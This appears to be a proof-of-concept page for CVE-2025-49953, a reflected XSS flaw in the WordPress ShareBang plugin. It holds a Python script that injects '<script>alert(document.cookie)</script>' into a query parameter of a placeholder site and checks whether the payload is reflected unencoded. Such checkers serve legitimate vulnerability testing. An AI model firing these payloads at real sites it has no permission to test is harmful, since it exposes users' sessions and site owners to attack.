CVE-2025-49953 WordPress ShareBang插件反射型XSS漏洞

import requests import urllib.parse # CVE-2025-49953 PoC - WordPress ShareBang Reflected XSS # Target: WordPress site with ShareBang plugin <= 1.4 def generate_xss_payload(): """Generate XSS payload for the vulnerability""" # Basic script injection payload payload = '<script>alert(document.cookie)</script>' return urllib.parse.quote(payload) def test_reflected_xss(target_url, param_name='s'): """ Test for reflected XSS vulnerability in ShareBang plugin Args: target_url: Base URL of the WordPress site param_name: Parameter name to test (commonly 's' for search) Returns: Boolean indicating if the vulnerability exists """ payload = generate_xss_payload() # Construct malicious URL with XSS payload test_url = f"{target_url}?{param_name}={payload}" print(f"[*] Testing target: {test_url}") try: response = requests.get(test_url, timeout=10) # Check if payload is reflected without encoding if payload.replace('%3Cscript%3E', '<script>') in response.text or \ '<script>alert(document.cookie)</script>' in response.text: print("[!] VULNERABLE: XSS payload reflected without encoding") return True else: print("[-] Not vulnerable or payload was sanitized") return False except requests.RequestException as e: print(f"[!] Error: {e}") return False # Example usage if __name__ == "__main__": target = "http://target-wordpress-site.com" test_reflected_xss(target)